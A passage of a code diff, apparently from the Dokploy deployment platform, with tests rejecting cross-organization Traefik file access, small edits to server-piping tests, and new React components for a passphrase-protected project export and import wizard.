expect(mocks.readDirectory).not.toHaveBeenCalled();
});
it("rejects writing to a server from another organization", async () => {
await expect(
caller.updateTraefikFile({
path: filePath,
traefikConfig: "http: {}",
serverId: "server-b",
}),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.writeTraefikConfigInPath).not.toHaveBeenCalled();
});
it("rejects reading from a server from another organization", async () => {
await expect(
caller.readTraefikFile({ path: filePath, serverId: "server-b" }),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
expect(mocks.readConfigInPath).not.toHaveBeenCalled();
});
it("allows servers of the active organization", async () => {
await caller.readDirectories({ serverId: "server-a" });
await caller.readTraefikFile({ path: filePath, serverId: "server-a" });
await caller.updateTraefikFile({
path: filePath,
traefikConfig: "http: {}",
serverId: "server-a",
});
expect(mocks.readDirectory).toHaveBeenCalledWith(traefikPath, "server-a");
expect(mocks.readConfigInPath).toHaveBeenCalledWith(filePath, "server-a");
expect(mocks.writeTraefikConfigInPath).toHaveBeenCalledWith(
filePath,
"http: {}",
"server-a",
);
});
it("does not look up a server when none is given", async () => {
await caller.readDirectories({});
await caller.updateTraefikFile({
path: filePath,
traefikConfig: "http: {}",
});
expect(mocks.findServerById).not.toHaveBeenCalled();
expect(mocks.writeTraefikConfigInPath).toHaveBeenCalledWith(
filePath,
"http: {}",
undefined,
);
});
});
@@ -16,7 +16,7 @@ describe("pipeBetweenServers", () => {
target: { serverId: null, command: "sleep 0.3; cat > /dev/null" },
});
expect(bytes).toBe(11);
}, 30_000);
});
it("pipes data larger than the pipe buffer unchanged", async () => {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "pipe-"));
@@ -47,7 +47,7 @@ describe("pipeBetweenServers", () => {
target: { serverId: null, command: "echo boom >&2; exit 3" },
}),
).rejects.toThrow("target exited with code 3: boom");
}, 30_000);
});
it("reports a source failure", async () => {
await expect(
@@ -56,5 +56,5 @@ describe("pipeBetweenServers", () => {
target: { serverId: null, command: "cat > /dev/null" },
}),
).rejects.toThrow("source exited with code 2");
}, 30_000);
});
});
@@ -0,0 +1,210 @@
import { Upload } from "lucide-react";
import { useRef, useState } from "react";
import { toast } from "sonner";
import { Button } from "@/components/ui/button";
import { Label } from "@/components/ui/label";
import { Progress } from "@/components/ui/progress";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { api } from "@/utils/api";
import {
BundleListState,
BundleMeta,
DestinationSelect,
} from "./destination-select";
const uploadWithProgress = (
file: File,
serverId: string | undefined,
onProgress: (percent: number) => void,
): Promise<{ importId: string }> =>
new Promise((resolve, reject) => {
const formData = new FormData();
formData.append("bundle", file);
const xhr = new XMLHttpRequest();
xhr.upload.addEventListener("progress", (event) => {
if (event.lengthComputable) {
onProgress(Math.round((event.loaded / event.total) * 100));
}
});
xhr.addEventListener("load", () => {
if (xhr.status >= 200 && xhr.status < 300) {
try {
resolve(JSON.parse(xhr.responseText));
} catch {
reject(new Error("Invalid response from upload"));
}
} else {
try {
const body = JSON.parse(xhr.responseText);
reject(new Error(body.message ?? `Upload failed (${xhr.status})`));
} catch {
reject(new Error(`Upload failed (${xhr.status})`));
}
}
});
xhr.addEventListener("error", () => reject(new Error("Upload failed")));
xhr.open(
"POST",
serverId
? `/api/project-export-import/upload?serverId=${encodeURIComponent(serverId)}`
: "/api/project-export-import/upload",
);
xhr.send(formData);
});
interface BundleSourceStepProps {
onSelected: (importId: string, serverId: string | undefined) => void;
initialBundle?: { destinationId: string; key: string };
}
export const BundleSourceStep = ({
onSelected,
initialBundle,
}: BundleSourceStepProps) => {
const fileInputRef = useRef<HTMLInputElement>(null);
const { data: isCloud } = api.settings.isCloud.useQuery();
const { data: servers } = api.server.withSSHKey.useQuery();
const [serverId, setServerId] = useState("");
const needsServer = isCloud !== false && !serverId;
const [uploadProgress, setUploadProgress] = useState(0);
const [isUploading, setIsUploading] = useState(false);
const [destinationId, setDestinationId] = useState(
initialBundle?.destinationId ?? "",
);
const [selectedKey, setSelectedKey] = useState(initialBundle?.key ?? "");
const bundlesQuery = api.projectExportImport.listRemoteBundles.useQuery(
{ destinationId },
{ enabled: !!destinationId },
);
const { mutateAsync: importFromDestination, isPending: isFetching } =
api.projectExportImport.importFromDestination.useMutation({
onError: (error) => toast.error(error.message),
});
const handleFileSelected = async (file: File) => {
setIsUploading(true);
setUploadProgress(0);
try {
const result = await uploadWithProgress(
file,
serverId || undefined,
setUploadProgress,
);
onSelected(result.importId, serverId || undefined);
} catch (error) {
toast.error(error instanceof Error ? error.message : "Upload failed");
} finally {
setIsUploading(false);
if (fileInputRef.current) fileInputRef.current.value = "";
}
};
const handleFromDestination = async () => {
try {
const result = await importFromDestination({
destinationId,
key: selectedKey,
serverId: serverId || undefined,
});
onSelected(result.importId, serverId || undefined);
} catch {}
};
return (
<Tabs defaultValue={initialBundle ? "destination" : "upload"}>
<div className="mb-3 grid gap-1">
<Label className="text-xs">Server</Label>
<Select
value={serverId || (isCloud ? "" : "local")}
onValueChange={(value) => setServerId(value === "local" ? "" : value)}
>
<SelectTrigger>
<SelectValue placeholder="Server the bundle will be imported to" />
</SelectTrigger>
<SelectContent>
{!isCloud && <SelectItem value="local">Local server</SelectItem>}
{servers?.map((server) => (
<SelectItem key={server.serverId} value={server.serverId}>
{server.name}
</SelectItem>
))}
</SelectContent>
</Select>
<p className="text-xs text-muted-foreground">
The bundle is unpacked and restored on this server
{isCloud ? "; nothing is stored on Dokploy Cloud" : ""}.
</p>
</div>
<TabsList>
<TabsTrigger value="upload">Upload a file</TabsTrigger>
<TabsTrigger value="destination">From a destination</TabsTrigger>
</TabsList>
<TabsContent value="upload" className="space-y-4">
<div
className={`flex flex-col items-center justify-center gap-2 rounded-md border border-dashed p-10 text-center ${needsServer ? "opacity-50" : "cursor-pointer"}`}
onClick={() => !needsServer && fileInputRef.current?.click()}
>
<Upload className="h-8 w-8 text-muted-foreground" />
<p className="text-sm text-muted-foreground">
Click to select a .dokploy.tar.gz bundle
</p>
<input
ref={fileInputRef}
type="file"
accept=".gz,.tar.gz"
className="hidden"
onChange={(e) => {
const file = e.target.files?.[0];
if (file) void handleFileSelected(file);
}}
/>
</div>
{isUploading && (
<div className="space-y-2">
<Progress value={uploadProgress} />
<p className="text-sm text-muted-foreground">
Uploading... {uploadProgress}%
</p>
</div>
)}
</TabsContent>
<TabsContent value="destination" className="space-y-3">
<DestinationSelect value={destinationId} onChange={setDestinationId} />
{destinationId && (
<div className="max-h-[200px] space-y-1 overflow-y-auto rounded-md border p-2">
<BundleListState query={bundlesQuery} />
{bundlesQuery.data?.map((bundle) => (
<button
type="button"
key={bundle.key}
onClick={() => setSelectedKey(bundle.key)}
className={`flex w-full items-center justify-between rounded px-2 py-1 text-left text-xs hover:bg-muted ${selectedKey === bundle.key ? "bg-muted" : ""}`}
>
<span className="font-mono truncate">
{bundle.key.split("/").at(-1)}
</span>
<BundleMeta size={bundle.size} modTime={bundle.modTime} />
</button>
))}
</div>
)}
<Button
isLoading={isFetching}
disabled={!destinationId || !selectedKey || needsServer}
onClick={handleFromDestination}
>
Fetch bundle
</Button>
</TabsContent>
</Tabs>
);
};
@@ -0,0 +1,38 @@
import { ChevronDown } from "lucide-react";
import { type ReactNode, useState } from "react";
import {
Collapsible,
CollapsibleContent,
CollapsibleTrigger,
} from "@/components/ui/collapsible";
interface CollapsibleSectionProps {
title: ReactNode;
children: ReactNode;
className?: string;
triggerClassName?: string;
contentClassName?: string;
}
export const CollapsibleSection = ({
title,
children,
className,
triggerClassName = "flex items-center gap-1 text-sm font-medium",
contentClassName = "space-y-2 pt-2",
}: CollapsibleSectionProps) => {
const [open, setOpen] = useState(false);
return (
<Collapsible open={open} onOpenChange={setOpen} className={className}>
<CollapsibleTrigger className={triggerClassName}>
<ChevronDown
className={`h-4 w-4 transition-transform ${open ? "rotate-180" : ""}`}
/>
{title}
</CollapsibleTrigger>
<CollapsibleContent className={contentClassName}>
{children}
</CollapsibleContent>
</Collapsible>
);
};
@@ -0,0 +1,95 @@
import type { ReactNode } from "react";
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
import { Label } from "@/components/ui/label";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { api } from "@/utils/api";
interface DestinationSelectProps {
value: string;
onChange: (destinationId: string) => void;
label?: string;
description?: ReactNode;
}
export const DestinationSelect = ({
value,
onChange,
label = "Destination",
description,
}: DestinationSelectProps) => {
const { data: destinations } = api.destination.all.useQuery();
return (
<div className="grid gap-1">
<Label className="text-xs">{label}</Label>
<Select value={value} onValueChange={onChange}>
<SelectTrigger>
<SelectValue placeholder="Select a destination" />
</SelectTrigger>
<SelectContent>
{destinations?.map((destination) => (
<SelectItem
key={destination.destinationId}
value={destination.destinationId}
>
{destination.name}
</SelectItem>
))}
</SelectContent>
</Select>
{destinations?.length === 0 ? (
<p className="text-xs text-muted-foreground">
No destinations configured. Add one under Settings → S3 Destinations
first.
</p>
) : (
description && (
<p className="text-xs text-muted-foreground">{description}</p>
)
)}
</div>
);
};
interface BundleListStateProps {
query: {
isLoading: boolean;
isError: boolean;
error?: { message: string } | null;
data?: unknown[];
};
}
export const BundleListState = ({ query }: BundleListStateProps) => {
if (query.isLoading) {
return <p className="text-xs text-muted-foreground">Listing bundles...</p>;
}
if (query.isError) {
return <p className="text-xs text-destructive">{query.error?.message}</p>;
}
if (query.data?.length === 0) {
return (
<p className="text-xs text-muted-foreground">
No export bundles in this destination yet.
</p>
);
}
return null;
};
export const BundleMeta = ({
size,
modTime,
}: {
size: number;
modTime: string;
}) => (
<span className="shrink-0 text-xs text-muted-foreground">
{formatBytes(size)} · {new Date(modTime).toLocaleString()}
</span>
);
@@ -0,0 +1,338 @@
import { Download, UploadCloud } from "lucide-react";
import { type ReactNode, useState } from "react";
import { toast } from "sonner";
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
import { Label } from "@/components/ui/label";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import { api } from "@/utils/api";
import { DestinationSelect } from "./destination-select";
import { isPassphraseValid, PassphraseFields } from "./passphrase-fields";
import { RequirementsList } from "./requirements-list";
import {
defaultScopeFormState,
hasDropSourceInScope,
type ProjectEnvironment,
ScopeForm,
type ScopeFormState,
} from "./scope-form";
import { TransferProgress } from "./transfer-progress";
const STEPS = ["Select services", "Scope", "Review", "Export"] as const;
interface ExportWizardProps {
title: string;
projectId: string;
environments: ProjectEnvironment[];
destinationId?: string;
onClose: () => void;
onBackFromStart?: () => void;
}
export const ExportWizard = ({
title,
projectId,
environments,
destinationId: fixedDestinationId,
onClose,
onBackFromStart,
}: ExportWizardProps) => {
const [step, setStep] = useState(0);
const [form, setForm] = useState<ScopeFormState>(() =>
defaultScopeFormState(environments),
);
const [passphrase, setPassphrase] = useState("");
const [passphraseConfirm, setPassphraseConfirm] = useState("");
const [exportId, setExportId] = useState<string | null>(null);
const [deliverKind, setDeliverKind] = useState<"download" | "destination">(
fixedDestinationId ? "destination" : "download",
);
const [destinationId, setDestinationId] = useState(fixedDestinationId ?? "");
const { data: isCloud } = api.settings.isCloud.useQuery();
const { data: destinations } = api.destination.all.useQuery(undefined, {
enabled: !!fixedDestinationId,
});
const effectiveDeliverKind =
isCloud || fixedDestinationId ? "destination" : deliverKind;
const previewQuery = api.projectExportImport.exportPreview.useQuery(
{
projectId,
environmentIds: form.environmentIds,
serviceIds: form.serviceIds,
files: form.files,
dumps: form.dumps,
},
{ enabled: step === 2 },
);
const { mutateAsync: startExport, isPending: isStarting } =
api.projectExportImport.exportStart.useMutation({
onError: (error) => toast.error(error.message),
});
const statusQuery = api.projectExportImport.exportStatus.useQuery(
{ exportId: exportId ?? "" },
{
enabled: !!exportId,
refetchIntervalInBackground: true,
refetchInterval: (query) => {
const status = query.state.data?.status;
return status === "done" || status === "error" || status === "cancelled"
? false
: 1000;
},
},
);
const handleStart = async () => {
try {
const result = await startExport({
projectId,
scope: {
environmentIds: form.environmentIds,
serviceIds: form.serviceIds,
includeEnvSecrets: form.includeEnvSecrets,
shared: form.shared,
files: {
...form.files,
applicationSources:
form.files.applicationSources ||
hasDropSourceInScope(environments, form.serviceIds),
},
dumps: form.dumps,
},
passphrase,
deliver:
effectiveDeliverKind === "destination"
? { kind: "destination", destinationId }
: { kind: "download" },
});
setExportId(result.exportId);
setStep(3);
} catch {}
};
const job = statusQuery.data;
const isDone = job?.status === "done";
const isFailed = job?.status === "error";
const canStart =
isPassphraseValid(passphrase, passphraseConfirm) &&
(effectiveDeliverKind === "download" || destinationId.length > 0);
const fixedDestinationName = destinations?.find(
(destination) => destination.destinationId === fixedDestinationId,
)?.name;
return (
<>
<DialogHeader>
<DialogTitle>{title}</DialogTitle>
<DialogDescription>
Step {step + 1} of {STEPS.length}: {STEPS[step]}
</DialogDescription>
</DialogHeader>
{step === 0 && (
<ScopeForm
section="selection"
environments={environments}
value={form}
onChange={setForm}
/>
)}
{step === 1 && (
<ScopeForm
section="options"
environments={environments}
value={form}
onChange={setForm}
/>
)}
{step === 2 && (
<div className="space-y-4">
<RequirementsList
inventory={previewQuery.data?.inventory}
requirements={previewQuery.data?.requirements}
warnings={previewQuery.data?.warnings}
isLoading={previewQuery.isLoading}
/>
<AlertBlock type="warning">
The exported file contains your secrets, encrypted with the
passphrase below. Anyone with both the file and this passphrase can
read them, so store it somewhere safe and share it only through a
separate channel. You'll need this exact passphrase to import the
bundle later; without it, the export can't be recovered.
</AlertBlock>
<div className="space-y-2">
<Label>Deliver the bundle</Label>
{fixedDestinationId ? (
<p className="text-xs text-muted-foreground">
Uploaded to {fixedDestinationName ?? "the selected destination"}{" "}
under dokploy-export-import/.
</p>
) : isCloud ? (
<p className="text-xs text-muted-foreground">
On Dokploy Cloud the bundle is uploaded to one of your
destinations (S3-compatible storage); direct download isn't
available.
</p>
) : (
<RadioGroup
value={deliverKind}
onValueChange={(value) =>
setDeliverKind(value as "download" | "destination")
}
className="flex gap-4"
>
<div className="flex items-center gap-1">
<RadioGroupItem value="download" id="deliver-download" />
<Label htmlFor="deliver-download" className="text-sm">
Download
</Label>
</div>
<div className="flex items-center gap-1">
<RadioGroupItem
value="destination"
id="deliver-destination"
/>
<Label htmlFor="deliver-destination" className="text-sm">
Upload to a destination
</Label>
</div>
</RadioGroup>
)}
{!fixedDestinationId && effectiveDeliverKind === "destination" && (
<DestinationSelect
value={destinationId}
onChange={setDestinationId}
description="Stored under dokploy-export-import/ in the bucket and listed in Settings → Exports."
/>
)}
</div>
<PassphraseFields
value={passphrase}
confirm={passphraseConfirm}
onValueChange={setPassphrase}
onConfirmChange={setPassphraseConfirm}
/>
</div>
)}
{step === 3 && (
<div className="space-y-4">
<TransferProgress
verb="Export"
job={job}
done={isDone}
failed={isFailed}
/>
{isDone && job?.warnings && job.warnings.length > 0 && (
<RequirementsList warnings={job.warnings} />
)}
{isDone && job?.deliveredKey && (
<AlertBlock type="success">
Uploaded to <span className="font-mono">{job.deliveredKey}</span>
</AlertBlock>
)}
{isDone && job?.downloadToken && (
<Button asChild className="w-full">
<a
href={`/api/project-export-import/download/${job.downloadToken}`}
>
<Download className="mr-2 h-4 w-4" />
Download bundle
{job.size ? ` (${formatBytes(job.size)})` : ""}
</a>
</Button>
)}
</div>
)}
<DialogFooter>
{step === 0 && onBackFromStart && (
<Button variant="outline" onClick={onBackFromStart}>
Back
</Button>
)}
{step > 0 && step < 3 && (
<Button variant="outline" onClick={() => setStep((s) => s - 1)}>
Back
</Button>
)}
{step < 2 && (
<Button
onClick={() => setStep((s) => s + 1)}
disabled={step === 0 && form.serviceIds.length === 0}
>
Next
</Button>
)}
{step === 2 && (
<Button
onClick={handleStart}
isLoading={isStarting}
disabled={!canStart}
>
Start export
</Button>
)}
{step === 3 && (
<Button variant="outline" onClick={onClose}>
Close
</Button>
)}
</DialogFooter>
</>
);
};
interface ExportProjectProps {
projectId: string;
environments: ProjectEnvironment[];
trigger?: ReactNode;
}
export const ExportProject = ({
projectId,
environments,
trigger,
}: ExportProjectProps) => {
const [open, setOpen] = useState(false);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
{trigger ?? (
<DropdownMenuItem
className="w-full cursor-pointer space-x-3"
onSelect={(e) => e.preventDefault()}
>
<UploadCloud className="size-4" />
<span>Export project</span>
</DropdownMenuItem>
)}
</DialogTrigger>
<DialogContent className="sm:max-w-4xl max-h-[85vh] overflow-y-auto">
{open && (
<ExportWizard
title="Export project"
projectId={projectId}
environments={environments}
onClose={() => setOpen(false)}
/>
)}
</DialogContent>
</Dialog>
);
};
@@ -0,0 +1,624 @@
import { Download, ExternalLink } from "lucide-react";
import Link from "next/link";
import { type ReactNode, useEffect, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import { Checkbox } from "@/components/ui/checkbox";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { api } from "@/utils/api";
import { BundleSourceStep } from "./bundle-source-step";
import { type ConflictChoice, ImportSummary } from "./import-summary";
import { AutofillDecoy, PassphraseField } from "./passphrase-fields";
import { RequirementsList } from "./requirements-list";
import {
defaultResolutionChoices,
type ResolutionChoice,
ResolutionStep,
} from "./resolution-step";
import { SecretsReview } from "./secrets-review";
import { TransferProgress } from "./transfer-progress";
import { VersionsTable } from "./versions-table";
const STEPS = ["Source", "Unlock", "Resolve", "Review", "Import"] as const;
type TargetChoice =
| { kind: "newProject"; name: string }
| { kind: "existingProject"; projectId: string; environmentName: string };
interface ImportProjectProps {
initialBundle?: { destinationId: string; key: string };
trigger?: ReactNode;
}
export const ImportProject = ({
initialBundle,
trigger,
}: ImportProjectProps = {}) => {
const [open, setOpen] = useState(false);
const [step, setStep] = useState(0);
const [importId, setImportId] = useState<string | null>(null);
const [importServerId, setImportServerId] = useState<string | undefined>();
const [passphrase, setPassphrase] = useState("");
const [resolutionChoices, setResolutionChoices] = useState<
Record<string, ResolutionChoice>
>({});
const [targetKind, setTargetKind] = useState<
"newProject" | "existingProject"
>("newProject");
const [newProjectName, setNewProjectName] = useState("");
const [existingProjectId, setExistingProjectId] = useState("");
const [environmentName, setEnvironmentName] = useState("imported");
const [keepAppNames, setKeepAppNames] = useState(false);
const [rotateDatabaseCredentials, setRotateDatabaseCredentials] =
useState(false);
const [deployAfterImport, setDeployAfterImport] = useState(true);
const [conflictChoices, setConflictChoices] = useState<
Record<string, ConflictChoice>
>({});
const [secretOverrides, setSecretOverrides] = useState<
Record<string, string>
>({});
const { data: projects } = api.project.all.useQuery(undefined, {
enabled: open && targetKind === "existingProject",
});
const inspectMutation = api.projectExportImport.importInspect.useMutation();
const [inspectResult, setInspectResult] = useState<Awaited<
ReturnType<typeof inspectMutation.mutateAsync>
> | null>(null);
const runInspect = (id: string) => {
setInspectResult(null);
inspectMutation
.mutateAsync({ importId: id })
.then(setInspectResult)
.catch(() => {});
};
useEffect(() => {
if (
importId &&
step === 1 &&
!inspectResult &&
!inspectMutation.isPending
) {
runInspect(importId);
}
}, [importId, step]);
const { mutateAsync: unlock, isPending: isUnlocking } =
api.projectExportImport.importUnlock.useMutation({
onError: (error) => toast.error(error.message),
});
const [unlockResult, setUnlockResult] = useState<Awaited<
ReturnType<typeof unlock>
> | null>(null);
const { mutateAsync: plan, isPending: isPlanning } =
api.projectExportImport.importPlan.useMutation({
onError: (error) => toast.error(error.message),
});
const [planResult, setPlanResult] = useState<Awaited<
ReturnType<typeof plan>
> | null>(null);
const { mutateAsync: overrideSecrets } =
api.projectExportImport.importSecretsOverride.useMutation({
onError: (error) => toast.error(error.message),
});
const { mutateAsync: validate, isPending: isValidating } =
api.projectExportImport.importValidate.useMutation({
onError: (error) => toast.error(error.message),
});
const [validation, setValidation] = useState<
{ check: string; ok: boolean; detail?: string }[] | null
>(null);
const { mutateAsync: startImport, isPending: isStarting } =
api.projectExportImport.importStart.useMutation({
onError: (error) => toast.error(error.message),
});
const { mutateAsync: cancelImport } =
api.projectExportImport.importCancel.useMutation();
const statusQuery = api.projectExportImport.importStatus.useQuery(
{ importId: importId ?? "" },
{
enabled: !!importId && step === 4,
refetchIntervalInBackground: true,
refetchInterval: (query) => {
const status = query.state.data?.status;
return status === "done" || status === "failed" ? false : 1000;
},
},
);
const resetState = () => {
setStep(0);
setImportId(null);
setInspectResult(null);
setConflictChoices({});
setSecretOverrides({});
setValidation(null);
setDeployAfterImport(true);
setPassphrase("");
setResolutionChoices({});
setTargetKind("newProject");
setNewProjectName("");
setExistingProjectId("");
setEnvironmentName("imported");
setKeepAppNames(false);
setRotateDatabaseCredentials(false);
setUnlockResult(null);
setPlanResult(null);
};
const handleBundleSelected = (id: string, serverId: string | undefined) => {
setImportServerId(serverId);
setUnlockResult(null);
setResolutionChoices({});
setConflictChoices({});
setSecretOverrides({});
setValidation(null);
setPassphrase("");
setInspectResult(null);
setImportId(id);
setStep(1);
};
const handleUnlock = async () => {
if (!importId) return;
// The server deletes the encrypted payload after the first unlock, so Back + Unlock reuses that result.
if (unlockResult) {
setStep(2);
return;
}
try {
const result = await unlock({ importId, passphrase });
setUnlockResult(result);
const defaults = defaultResolutionChoices(
inspectResult?.requirements ?? [],
result.resolutions,
);
if (importServerId) {
for (const key of Object.keys(defaults)) {
if (key.startsWith("server:")) {
defaults[key] = {
requirementKey: key,
action: "reuse",
targetId: importServerId,
};
}
}
}
setResolutionChoices(defaults);
setStep(2);
} catch {}
};
const runPlan = async (choices: Record<string, ConflictChoice>) => {
if (!importId) return;
const target: TargetChoice =
targetKind === "newProject"
? { kind: "newProject", name: newProjectName }
: {
kind: "existingProject",
projectId: existingProjectId,
environmentName,
};
try {
await overrideSecrets({ importId, overrides: secretOverrides });
const result = await plan({
importId,
target,
choices: {
resolutions: resolutionChoices,
keepAppNames,
rotateDatabaseCredentials,
deployAfterImport,
conflictResolutions: choices,
},
});
setPlanResult(result);
setConflictChoices(result.conflictResolutions);
setStep(3);
setValidation(null);
const validated = await validate({ importId });
setValidation(validated.checks);
} catch {}
};
const handlePlan = () => runPlan(conflictChoices);
const handleConflictChange = (key: string, choice: ConflictChoice) => {
setConflictChoices((prev) => ({ ...prev, [key]: choice }));
};
const handleStart = async () => {
if (!importId) return;
try {
await startImport({ importId });
setStep(4);
} catch {}
};
const job = statusQuery.data;
const isDone = job?.status === "done";
const isFailed = job?.status === "failed";
const importedProjectId = job?.result
? Object.values(job.result.idMap.project ?? {})[0]
: undefined;
const importedEnvironmentId = job?.result
? Object.values(job.result.idMap.environment ?? {})[0]
: undefined;
const conflictChoicesDirty =
JSON.stringify(conflictChoices) !==
JSON.stringify(planResult?.conflictResolutions ?? {});
const validationFailing = (validation ?? []).some((check) => !check.ok);
const canProceedTarget =
targetKind === "newProject"
? newProjectName.trim().length > 0
: !!existingProjectId && environmentName.trim().length > 0;
return (
<Dialog
open={open}
onOpenChange={(next) => {
setOpen(next);
if (!next) {
if (importId && step < 4) {
cancelImport({ importId }).catch(() => {});
}
resetState();
}
}}
>
<DialogTrigger asChild>
{trigger ?? (
<Button variant="outline" onClick={(e) => e.stopPropagation()}>
<Download className="mr-2 h-4 w-4" />
Import project
</Button>
)}
</DialogTrigger>
<DialogContent className="sm:max-w-4xl max-h-[85vh] overflow-y-auto">
<DialogHeader>
<DialogTitle>Import project</DialogTitle>
<DialogDescription>
Step {step + 1} of {STEPS.length}: {STEPS[step]}
</DialogDescription>
</DialogHeader>
{step === 0 && (
<BundleSourceStep
onSelected={handleBundleSelected}
initialBundle={initialBundle}
/>
)}
{step === 1 && (
<div className="space-y-4">
{inspectMutation.isPending && (
<p className="text-sm text-muted-foreground">Reading bundle...</p>
)}
{inspectMutation.isError && (
<AlertBlock type="error">
<p>
{inspectMutation.error?.message ??
"Failed to read the bundle."}
</p>
<Button
variant="outline"
size="sm"
className="mt-2"
onClick={() => importId && runInspect(importId)}
>
Retry
</Button>
</AlertBlock>
)}
{inspectResult && (
<div className="text-sm space-y-3">
<div className="space-y-1">
<p>
<span className="text-muted-foreground">Exported: </span>
{new Date(
inspectResult.manifest.exportedAt,
).toLocaleString()}
</p>
</div>
<VersionsTable versions={inspectResult.versions} />
{inspectResult.versionWarnings.length > 0 && (
<RequirementsList warnings={inspectResult.versionWarnings} />
)}
</div>
)}
<AutofillDecoy />
<PassphraseField
id="import-passphrase"
label="Passphrase"
value={passphrase}
onChange={setPassphrase}
/>
</div>
)}
{step === 2 && (
<div className="space-y-4">
<ResolutionStep
requirements={inspectResult?.requirements ?? []}
resolutions={unlockResult?.resolutions ?? {}}
choices={resolutionChoices}
onChange={(key, choice) =>
setResolutionChoices((prev) => ({ ...prev, [key]: choice }))
}
/>
{importId && (
<SecretsReview
importId={importId}
overrides={secretOverrides}
onChange={(secretId, value) =>
setSecretOverrides((prev) => {
const next = { ...prev };
if (value === undefined) delete next[secretId];
else next[secretId] = value;
return next;
})
}
/>
)}
<div className="space-y-3 border-t pt-4">
<Label>Import into</Label>
<RadioGroup
value={targetKind}
onValueChange={(value) =>
setTargetKind(value as "newProject" | "existingProject")
}
className="flex gap-4"
>
<div className="flex items-center gap-1">
<RadioGroupItem value="newProject" id="target-new" />
<Label htmlFor="target-new" className="text-sm">
New project
</Label>
</div>
<div className="flex items-center gap-1">
<RadioGroupItem
value="existingProject"
id="target-existing"
/>
<Label htmlFor="target-existing" className="text-sm">
Existing project
</Label>
</div>
</RadioGroup>
{targetKind === "newProject" ? (
<Input
placeholder="Project name"
value={newProjectName}
onChange={(e) => setNewProjectName(e.target.value)}
/>
) : (
<div className="flex gap-2">
<Select
value={existingProjectId}
onValueChange={setExistingProjectId}
>
<SelectTrigger className="flex-1">
<SelectValue placeholder="Select a project" />
</SelectTrigger>
<SelectContent>
{projects?.map((project) => (
<SelectItem
key={project.projectId}
value={project.projectId}
>
{project.name}
</SelectItem>
))}
</SelectContent>
</Select>
<Input
placeholder="New environment name"
value={environmentName}
onChange={(e) => setEnvironmentName(e.target.value)}
/>
</div>
)}
<div className="flex items-start gap-2">
<Checkbox
className="mt-0.5"
checked={keepAppNames}
onCheckedChange={(checked) =>
setKeepAppNames(checked === true)
}
/>
<Label className="text-sm">
Keep original app names when available
</Label>
</div>
<div className="flex items-start gap-2">
<Checkbox
className="mt-0.5"
checked={rotateDatabaseCredentials}
onCheckedChange={(checked) =>
setRotateDatabaseCredentials(checked === true)
}
/>
<div className="grid gap-0.5">
<Label className="text-sm">Rotate database credentials</Label>
<p className="text-xs text-muted-foreground">
Generates fresh database passwords for the imported project
instead of keeping the original ones. Leave this unchecked
for a straight migration (e.g. cloud to self-hosted) so
anything outside Dokploy that already has the current
password keeps working.
</p>
</div>
</div>
<div className="flex items-start gap-2">
<Checkbox
className="mt-0.5"
checked={deployAfterImport}
onCheckedChange={(checked) =>
setDeployAfterImport(checked === true)
}
/>
<Label className="text-sm">
Deploy applications and compose services after import
</Label>
</div>
</div>
</div>
)}
{step === 3 && (
<div className="space-y-3">
<ImportSummary
summary={planResult?.summary}
pendingServices={planResult?.pendingServices}
warnings={planResult?.warnings}
conflicts={planResult?.conflicts}
conflictChoices={conflictChoices}
onConflictChange={handleConflictChange}
validation={validation ?? undefined}
isValidating={isValidating}
isLoading={isPlanning}
/>
{conflictChoicesDirty && (
<Button
variant="outline"
size="sm"
disabled={isPlanning}
onClick={() => runPlan(conflictChoices)}
>
Apply conflict choices
</Button>
)}
</div>
)}
{step === 4 && (
<div className="space-y-4">
<TransferProgress
verb="Import"
job={job}
done={isDone}
failed={isFailed}
/>
{isDone && (
<div className="space-y-3">
<AlertBlock type="success">
{job?.partial
? "Import completed with some errors."
: "Import complete."}
</AlertBlock>
{job?.restoreErrors && job.restoreErrors.length > 0 && (
<AlertBlock type="error">
{job.restoreErrors.map((error) => (
<p key={error.serviceId} className="text-xs">
{error.serviceName ?? error.serviceId}: {error.error}
</p>
))}
</AlertBlock>
)}
{job?.result?.warnings && job.result.warnings.length > 0 && (
<RequirementsList warnings={job.result.warnings} />
)}
{importedProjectId && importedEnvironmentId && (
<Button asChild variant="outline">
<Link
href={`/dashboard/project/${importedProjectId}/environment/${importedEnvironmentId}`}
>
<ExternalLink className="mr-2 h-4 w-4" />
Open imported project
</Link>
</Button>
)}
</div>
)}
</div>
)}
<DialogFooter>
{step > 0 && step < 4 && (
<Button
variant="outline"
onClick={() => {
if (step === 1 && importId) {
cancelImport({ importId }).catch(() => {});
setImportId(null);
}
setStep((s) => Math.max(0, s - 1));
}}
>
Back
</Button>
)}
{step === 1 && (
<Button
onClick={handleUnlock}
isLoading={isUnlocking}
disabled={passphrase.length === 0}
>
Unlock
</Button>
)}
{step === 2 && (
<Button
onClick={handlePlan}
isLoading={isPlanning}
disabled={!canProceedTarget}
>
Preview
</Button>
)}
{step === 3 && (
<Button
onClick={handleStart}
isLoading={isStarting}
disabled={
isPlanning ||
isValidating ||
validationFailing ||
conflictChoicesDirty
}
>
Start import
</Button>
)}
{step === 4 && (
<Button variant="outline" onClick={() => setOpen(false)}>
Close
